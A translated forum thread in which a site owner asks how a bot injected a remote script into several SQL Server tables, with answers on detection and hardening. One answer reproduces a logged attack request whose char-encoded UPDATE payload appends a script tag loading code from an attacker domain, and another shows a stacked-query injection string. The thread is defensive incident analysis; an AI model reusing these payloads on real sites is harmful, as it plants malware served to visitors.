Кто-нибудь узнал, как это было сделано?SQL-инъекция - PullRequest
4 голосов
/ 22 сентября 2010

Так как многие другие сайты были поражены, я должен предположить, что это бот!

Он ввел скрипт с: Вчера: http://google-stats50.info/ur.php Сегодня: http://google-stats49.info/ur.php

Он внедрил его в несколько таблиц.

Во-первых, как он идентифицировал таблицы и столбцы?

Во-вторых, что я должен искать в журналах, чтобы идентифицировать исходную страницу?

У нас нет ftp ни на одном из наших серверов. У нас есть 1 контактная форма, но это электронная почта и даже не связана с базой данных.

Мы используем SQL Server и IIS.

Ответы [ 5 ]

6 голосов
/ 22 сентября 2010

Возможно, у вас есть страница, которая не проверяет / дезинфицирует вводимые пользователем данные.TextBoxes и QueryStrings, которые используются для предоставления параметров для SQL-запросов, обычно используются в атаках SQL-инъекций (хотя есть и другие способы ...).В дополнение к этому, вы, вероятно, не используете параметризованные запросы при доступе к базе данных.

Это приведет к огромному ущербу.

Скорее всего, они выяснили структуру вашей базы данных, запросив системутаблицы:

SELECT *
FROM sys.Tables

И имена столбцов:

SELECT *
FROM sys.columns

Некоторые ссылки, на которые следует обратить внимание:

Если бы это был мой веб-сайт, я бы отбросил ВСЕ до тех пор, пока сайт не будет защищен.Ваш сайт и база данных находятся в серьезной опасности.

3 голосов
/ 23 сентября 2010

Эта конкретная атака, в отличие от той, что была в прошлом, которая проходила бы по таблице системных объектов, выполняется путем анализа страниц с ошибками и создания новых запросов на обновление, специально предназначенных для известных таблиц и полей.

Вы можете найтиОтверстие, просматривая логи вашего веб-сервера.Ищите «cast (»), который можно найти в большинстве, если не во всех атаках sql-инъекций.

Ниже приведен пример некоторых данных, взятых из моего журнала, чтобы вы могли видеть, что делается.

Удачи

2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:
1 голос
/ 29 сентября 2010

То, что он делает, ищет в Интернете «.asp? Product-id =» и использует его для инъекции. Парня выше надо канонизировать и отправить в Рим. Вот как вы можете справиться с этим:

  1. Перейдите на веб-сервер Windows.
  2. Перейти к поиску.
  3. Выполнить поиск по содержимому файла. Ищите «бросить (»
  4. Если он находится на одном из ваших сайтов, он будет отображаться в журнале поиска.
  5. Открыть журнал в WordPad. Найти на "cast ("
  6. Ты узнаешь это, когда увидишь. Это очевидный взлом. Это не должно быть заявление об обновлении. Эта инъекция противоречит утверждению select. Запишите название страницы.
  7. Перейдите в консоль MS SQL.
  8. Создать роль сервера. Назовите это прочитанным из базы данных или как угодно.
  9. Зайдите в свою базу данных, в консоль. Отключить охрану.
  10. Найдите роль. Дайте этому читателю данных и привилегии denywirter.
  11. Загрузите веб-страницу.
  12. Измените строку подключения с sa (или любого другого) на чтение базы данных. Убедитесь, что он имеет права только на чтение и ничего больше.
  13. Проверьте свою страницу.
  14. Зайдите в IIS и отключите обмен сообщениями об ошибках для вашего сайта следующим образом. Получить свойства на сайте, выбрать домашний каталог, нажать кнопку настройки, перейти на вкладку отладки. Выключить обмен сообщениями об ошибках.

Это должно защитить ваш сайт (надеюсь).

0 голосов
/ 22 сентября 2010

Я не знаю подробностей этого конкретного взлома.

Если это что-то вроде попыток, которые я видел пару лет назад, то эта ссылка поможет объяснить

  1. Как они это сделали.
  2. Что искать в журналах IIS, чтобы определить проблемные веб-страницы
0 голосов
/ 22 сентября 2010

Какие-либо параметры строки запроса на вашем сайте передаются непосредственно в базу данных? У меня было похожее событие несколько лет назад - очень похожий SQL-инъекция, сценарий помещался в несколько таблиц, несколько столбцов. Оказалось, что мы использовали числовое поле непосредственно из строки запроса без фильтрации ввода (к сожалению, с нашей стороны), которая позволяла атакующему сделать что-то вроде этого:

ВЫБРАТЬ a, b, c ИЗ таблицы ГДЕ d = 0; ОБНОВЛЕНИЕ таблицы SET col = 'script'; -

Где положить "0; UPDATE table SET col = 'script'; -" в строку запроса.

...